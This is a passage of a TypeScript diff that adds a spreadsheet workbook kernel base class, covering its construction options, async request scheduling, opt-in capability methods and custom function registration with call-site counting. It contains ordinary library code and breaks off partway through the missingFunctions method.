+ packs?: Array
+ /** Host-provided ports surfaced to every function via `FnContext.ports`. */
+ functionPorts?: FunctionPorts
+ /** Host port that executes async requests (§3). Without it, async cells stay pending. */
+ asyncPort?: AsyncPort
+ /** Opt-in cap: max async requests dispatched before pausing. Defaults to unlimited. */
+ asyncBudget?: number
+ /** Seed the async result cache on load (persistence) so cells resolve without refiring. */
+ asyncCache?: Array
+ /** Cooldown (ms) before a negative (error) async cache entry expires; default 30 000. */
+ asyncNegativeTtl?: number
+ clock?: Clock
+ rng?: Rng
+ locale?: Locale
+ visibility?: VisibilityPort
+}
+
+/** Result of {@link WorkbookKernelBase.validateFormula}. */
+export interface FormulaValidation {
+ ok: boolean
+ diagnostics: Array
+ /** Set when the formula could not be parsed (diagnostics will be empty). */
+ parseError?: string
+}
+
+interface Region {
+ sheet: SheetId
+ rect: Rect
+ cb: () => void
+}
+
+/**
+ * Options accepted by the kernel constructor. Extends {@link WorkbookOptions}
+ * with the opt-in capability set. When omitted, no capabilities are registered;
+ * the factory layer supplies the default (all) capabilities, and the lean
+ * `constructWorkbook` entry forwards a caller-chosen set so unused capabilities
+ * tree-shake away.
+ */
+export interface WorkbookKernelOptions extends WorkbookOptions {
+ /** The capabilities to register (assign their methods onto the instance). */
+ capabilities?: WorkbookCapabilities
+}
+
+/**
+ * The always-present workbook runtime. `class Workbook` (in `./workbook`)
+ * extends this to add the `builtins()` default; capabilities assign their
+ * opt-in methods onto instances during construction. Kept as a base class so
+ * the lean `constructWorkbook` entry can build an instance without the factory
+ * layer's static `./functions` import.
+ */
+export class WorkbookKernelBase {
+ /**
+ * Internal writable atoms. Only the workbook mutates these; the public
+ * {@link atoms} facade below exposes the same instances as {@link ReadonlyAtom}
+ * so consumers can read and subscribe but never `.set()` — matching the
+ * baseAtoms→atoms split in table-core.
+ */
+ private readonly baseAtoms: {
+ revision: Atom
+ sheets: Atom>
+ }
+
+ readonly atoms: {
+ revision: ReadonlyAtom
+ sheets: ReadonlyAtom>
+ }
+
+ readonly functions: FunctionRegistry
+ private readonly clock: Clock
+ private readonly rng: Rng
+
+ private readonly sheetMap = new Map()
+ /** Read-only external sheets (§6.2). Referenced by formulas, never written. */
+ private readonly virtualSheets = new Map()
+ /** Re-entrancy depth — a synchronous re-entry is a cross-boundary cycle (§6.2). */
+ private committing = 0
+ private readonly regions = new Set()
+ /**
+ * Display number-format codes, kept independent of the cell value lifecycle.
+ * @internal Read/written by the formats capability via {@link WorkbookInternal}.
+ */
+ readonly formats = new Map>()
+ private readonly deps = new DepGraph()
+ /** Defined names, keyed by {@link nameTableKey}. */
+ private readonly names = new Map()
+ /** Merge rectangles per sheet — workbook-owned state, read by every view. */
+ private readonly merges = new Map>()
+ /** Provenance recorded per source sheet (Tier-1 staging), outside the grid. */
+ private readonly provenance = new Map()
+ /** The last staged extent per source sheet (for tail-blanking on re-stage). */
+ private readonly stagedExtents = new Map()
+ private volatileNames: Set
+ /** Whether an async execution route (port) is wired — gates async registration. */
+ private readonly hasAsyncPort: boolean
+ private readonly env: Environment
+ private readonly scheduler: Scheduler
+
+ constructor(opts: WorkbookKernelOptions = {}) {
+ // The kernel never defaults to `builtins()` — that lives in the factory
+ // layer (`./workbook`). A kernel built without `functions` gets an empty
+ // registry, keeping the lean path's module graph free of `./functions`.
+ this.functions = opts.functions ?? new FunctionRegistry()
+ this.clock = opts.clock ?? systemClock
+ this.rng = opts.rng ?? mathRng
+ this.hasAsyncPort = opts.asyncPort !== undefined
+
+ for (const p of opts.packs ?? []) {
+ for (const fn of p.functions) this.assertAsyncRoutable(fn)
+ this.functions.registerPack(p)
+ }
+ this.volatileNames = this.functions.volatileNames()
+
+ this.baseAtoms = {
+ revision: createAtom(0),
+ sheets: createAtom>([]),
+ }
+ // Public facade: same instances, read-only type. Writes go via baseAtoms.
+ this.atoms = this.baseAtoms
+
+ this.scheduler = new Scheduler({
+ port: opts.asyncPort,
+ budget: opts.asyncBudget,
+ seed: opts.asyncCache,
+ negativeTtl: opts.asyncNegativeTtl,
+ now: () => this.clock.now(),
+ // `onAsyncResolved` is assigned by the async capability during
+ // construction (below); the scheduler only invokes this after
+ // construction completes, so it is always defined when the async
+ // capability is registered. Optional-call keeps a capability-less
+ // workbook safe if async results ever resolve without it.
+ onResolved: (nodes) => this.onAsyncResolved?.(nodes),
+ })
+
+ this.env = {
+ getCellValue: (sheet, row, col) => {
+ const provider = this.virtualSheets.get(sheet)
+ if (provider) return provider.getCell(row, col)
+ return this.sheetMap.get(sheet)?.get(pack(row, col))?.value ?? null
+ },
+ getSheet: (sheet) => this.sheetMap.get(sheet),
+ functions: this.functions,
+ clock: this.clock,
+ rng: this.rng,
+ visibility: opts.visibility,
+ ports: opts.functionPorts,
+ resolveName: (name, ownerSheet, scope) =>
+ this.lookupName(name, ownerSheet, scope)?.ast,
+ sheetOrder: () => this.atoms.sheets.get(),
+ async: {
+ lookup: (key) => this.scheduler.lookup(key),
+ collect: (req, cell) =>
+ this.scheduler.record(
+ req,
+ cell ? nodeId(cell.sheet, pack(cell.row, cell.col)) : undefined,
+ ),
+ },
+ }
+
+ // Register the opt-in capabilities: each assigns its methods onto this
+ // instance, reading private kernel state through the internal accessor.
+ const internal = this as unknown as WorkbookInternal
+ const capabilities: Array = Object.values(
+ opts.capabilities ?? {},
+ )
+ for (const capability of capabilities) {
+ capability?.construct?.(internal)
+ }
+ }
+
+ /**
+ * The workbook's sheet order.
+ * @internal Internal accessor surface for capabilities ({@link WorkbookInternal}).
+ */
+ sheetOrder(): ReadonlyArray {
+ return this.atoms.sheets.get()
+ }
+
+ // -------------------------------------------------------------------------
+ // Capability methods (declared for typing; assigned at runtime by the
+ // registered capabilities via their `construct` hook). Declaring them on the
+ // base means the default-capability `Workbook` instance type carries every
+ // method, so `new Workbook()` / `createWorkbook()` stay fully typed with no
+ // call-site changes.
+ // -------------------------------------------------------------------------
+
+ /** @see Workbook_Formats.setFormat (formatsCapability) */
+ declare setFormat: (ref: Ref, code: string | undefined) => void
+ /** @see Workbook_Formats.getFormat (formatsCapability) */
+ declare getFormat: (ref: Ref) => string | undefined
+
+ /** @see Workbook_Provenance.setSheetProvenance (provenanceCapability) */
+ declare setSheetProvenance: (
+ sheet: SheetId,
+ prov: SheetProvenance | undefined,
+ ) => void
+ /** @see Workbook_Provenance.sheetProvenance (provenanceCapability) */
+ declare sheetProvenance: (sheet: SheetId) => SheetProvenance | undefined
+ /** @see Workbook_Provenance.getStagedExtent (provenanceCapability) */
+ declare getStagedExtent: (sheet: SheetId) => Rect | undefined
+ /** @see Workbook_Provenance.setStagedExtent (provenanceCapability) */
+ declare setStagedExtent: (sheet: SheetId, rect: Rect | undefined) => void
+
+ /** @see Workbook_Merges.mergeCells (mergesCapability) */
+ declare mergeCells: (sheet: SheetId, rect: Rect) => CommitResult
+ /** @see Workbook_Merges.unmergeCells (mergesCapability) */
+ declare unmergeCells: (sheet: SheetId, rect: Rect) => CommitResult
+ /** @see Workbook_Merges.getMerges (mergesCapability) */
+ declare getMerges: (sheet: SheetId) => Array
+ /** @see Workbook_Merges.getMergeAt (mergesCapability) */
+ declare getMergeAt: (
+ sheet: SheetId,
+ row: number,
+ col: number,
+ ) => Rect | undefined
+
+ /** @see Workbook_Clipboard.rangeToTSV (clipboardCapability) */
+ declare rangeToTSV: (sheet: SheetId, rect: Rect) => string
+ /** @see Workbook_Clipboard.copyRange (clipboardCapability) */
+ declare copyRange: (sheet: SheetId, rect: Rect) => Clipboard
+ /** @see Workbook_Clipboard.buildPastePatches (clipboardCapability) */
+ declare buildPastePatches: (
+ target: Ref,
+ clip: Clipboard | string,
+ into?: Rect,
+ ) => Array
+ /** @see Workbook_Fill.buildFillPatches (fillCapability) */
+ declare buildFillPatches: (
+ sheet: SheetId,
+ source: Rect,
+ target: Rect,
+ ) => Array
+
+ /** @see Workbook_Names.defineName (namesCapability) */
+ declare defineName: (
+ name: string,
+ definition: string,
+ opts?: { scope?: SheetId },
+ ) => void
+ /** @see Workbook_Names.removeName (namesCapability) */
+ declare removeName: (name: string, opts?: { scope?: SheetId }) => boolean
+ /** @see Workbook_Names.getName (namesCapability) */
+ declare getName: (
+ name: string,
+ opts?: { sheet?: SheetId; scope?: SheetId },
+ ) => DefinedNameInfo | undefined
+ /** @see Workbook_Names.listNames (namesCapability) */
+ declare listNames: () => Array
+
+ /** @see Workbook_Async.settle (asyncCapability) */
+ declare settle: () => Promise
+ /** @see Workbook_Async.asyncStats (asyncCapability) */
+ declare asyncStats: () => SchedulerStats
+ /** @see Workbook_Async.exportAsyncCache (asyncCapability) */
+ declare exportAsyncCache: () => Array
+ /** @see Workbook_Async.resumeAsync (asyncCapability) */
+ declare resumeAsync: (additional?: number) => void
+ /** @see Workbook_Async.refreshAsync (asyncCapability) */
+ declare refreshAsync: (opts?: {
+ key?: string
+ functionName?: string
+ }) => CommitResult
+ /**
+ * Assigned by the async capability; invoked by the scheduler's `onResolved`.
+ * @see Workbook_Async.onAsyncResolved (asyncCapability)
+ * @internal
+ */
+ declare onAsyncResolved?: (nodes: Array) => void
+
+ // -------------------------------------------------------------------------
+ // Function registry (M8)
+ // -------------------------------------------------------------------------
+
+ /**
+ * Register a custom function pack into this workbook's registry. Collisions
+ * with builtins (or already-registered packs) throw a `FunctionCollisionError`
+ * and leave the registry unchanged. Recomputes the volatile set so a volatile
+ * custom function recalculates every commit.
+ */
+ registerPack(pack: FunctionPack): this {
+ for (const fn of pack.functions) this.assertAsyncRoutable(fn)
+ this.functions.registerPack(pack)
+ this.volatileNames = this.functions.volatileNames()
+ return this
+ }
+
+ /**
+ * Register or replace a single custom function. This is the **host-trusted**
+ * direct path (origin `host` by default) — it bypasses the Code Mode example
+ * gate, so hosts call it for functions they already trust; the gated path is
+ * `approveAndRegister` in `@tanstack/spreadsheet-codemode`. Code Mode
+ * registration passes `{ origin: 'code-mode', source }` so the function's
+ * source rides on the one registry (and `removeFunction` drops it from the
+ * export). Replacing an existing definition re-evaluates every call site, so a
+ * version bump invalidates correctly; a function with zero live call sites
+ * skips the recalc fan-out.
+ */
+ upsertFunction(
+ def: FunctionDef,
+ opts: { origin?: FunctionOrigin; source?: unknown } = {},
+ ): CommitResult {
+ this.assertAsyncRoutable(def)
+ this.functions.register(def, {
+ replace: true,
+ origin: opts.origin ?? 'host',
+ source: opts.source,
+ })
+ this.volatileNames = this.functions.volatileNames()
+ const sites = this.callSitesOf(def.name)
+ return sites.length
+ ? this.commit(sites, [])
+ : { applied: [], recalculated: [], cycles: [] }
+ }
+
+ /** Remove a custom function everywhere (registry + export); call sites re-evaluate. */
+ removeFunction(name: string): CommitResult {
+ const sites = this.callSitesOf(name)
+ this.functions.unregister(name)
+ this.volatileNames = this.functions.volatileNames()
+ return sites.length
+ ? this.commit(sites, [])
+ : { applied: [], recalculated: [], cycles: [] }
+ }
+
+ /**
+ * Registering an async function with no execution route (the workbook has no
+ * `asyncPort`) throws here, at registration — never a silent degrade to a
+ * never-resolving `pending`. Sync functions always route.
+ */
+ private assertAsyncRoutable(def: FunctionDef): void {
+ if (def.kind === 'async' && !this.hasAsyncPort) {
+ throw new Error(
+ `async function '${def.name}' has no execution route: construct the ` +
+ `workbook with an asyncPort before registering async functions`,
+ )
+ }
+ }
+
+ /** The serializable source records of every function with the given origin. */
+ functionSources(origin: FunctionOrigin): Array {
+ return this.functions.sources(origin)
+ }
+
+ /** Nodes of every formula whose AST calls `name` (case-insensitive). */
+ private callSitesOf(name: string): Array {
+ const target = name.toUpperCase()
+ const out: Array = []
+ const calls = (node: Node): boolean => {
+ switch (node.type) {
+ case 'call':
+ return node.name.toUpperCase() === target || node.args.some(calls)
+ case 'unary':
+ return calls(node.operand)
+ case 'binary':
+ return calls(node.left) || calls(node.right)
+ default:
+ return false
+ }
+ }
+ for (const [sheetId, sheet] of this.sheetMap) {
+ for (const key of sheet.keys()) {
+ const cell = sheet.get(key)
+ if (cell?.ast && calls(cell.ast)) out.push(nodeId(sheetId, key))
+ }
+ }
+ return out
+ }
+
+ /**
+ * The machine-readable function catalog (§2.2) — every registered function
+ * with its origin tag, enriched with the **live call-site count** so unused
+ * functions can be surfaced for cleanup. Counts are computed from the current
+ * cell ASTs on each call.
+ */
+ functionCatalog(): Array {
+ const counts = this.callSiteCounts()
+ return this.functions.catalog().map((e) => ({
+ ...e,
+ callSites: counts.get(e.name.toUpperCase()) ?? 0,
+ }))
+ }
+
+ /** How many formulas reference each function name right now (by upper name). */
+ private callSiteCounts(): Map {
+ const counts = new Map()
+ const bump = (node: Node): void => {
+ switch (node.type) {
+ case 'call':
+ counts.set(
+ node.name.toUpperCase(),
+ (counts.get(node.name.toUpperCase()) ?? 0) + 1,
+ )
+ node.args.forEach(bump)
+ break
+ case 'unary':
+ bump(node.operand)
+ break
+ case 'binary':
+ bump(node.left)
+ bump(node.right)
+ break
+ default:
+ break
+ }
+ }
+ for (const sheet of this.sheetMap.values()) {
+ for (const key of sheet.keys()) {
+ const cell = sheet.get(key)
+ if (cell?.ast) bump(cell.ast)
+ }
+ }
+ return counts
+ }
+
+ /** The portability manifest: every registered pack's `{ name, version }`. */
+ functionManifest(): Array {
+ return this.functions.manifest()
+ }
+
+ /**
+ * Function names referenced by a formula somewhere in the workbook that are
+ * **not** registered — e.g. a pack that has not been loaded. Such calls
+ * evaluate to `#NAME?`; this surfaces the degrade in the manifest view rather
+ * than leaving it silent (an XLSX import seeds the last cached value for the
+ * cell where one exists, so the number survives even when the pack is absent).
+ */
+ missingFunctions(): Array {
+ const missing = new Set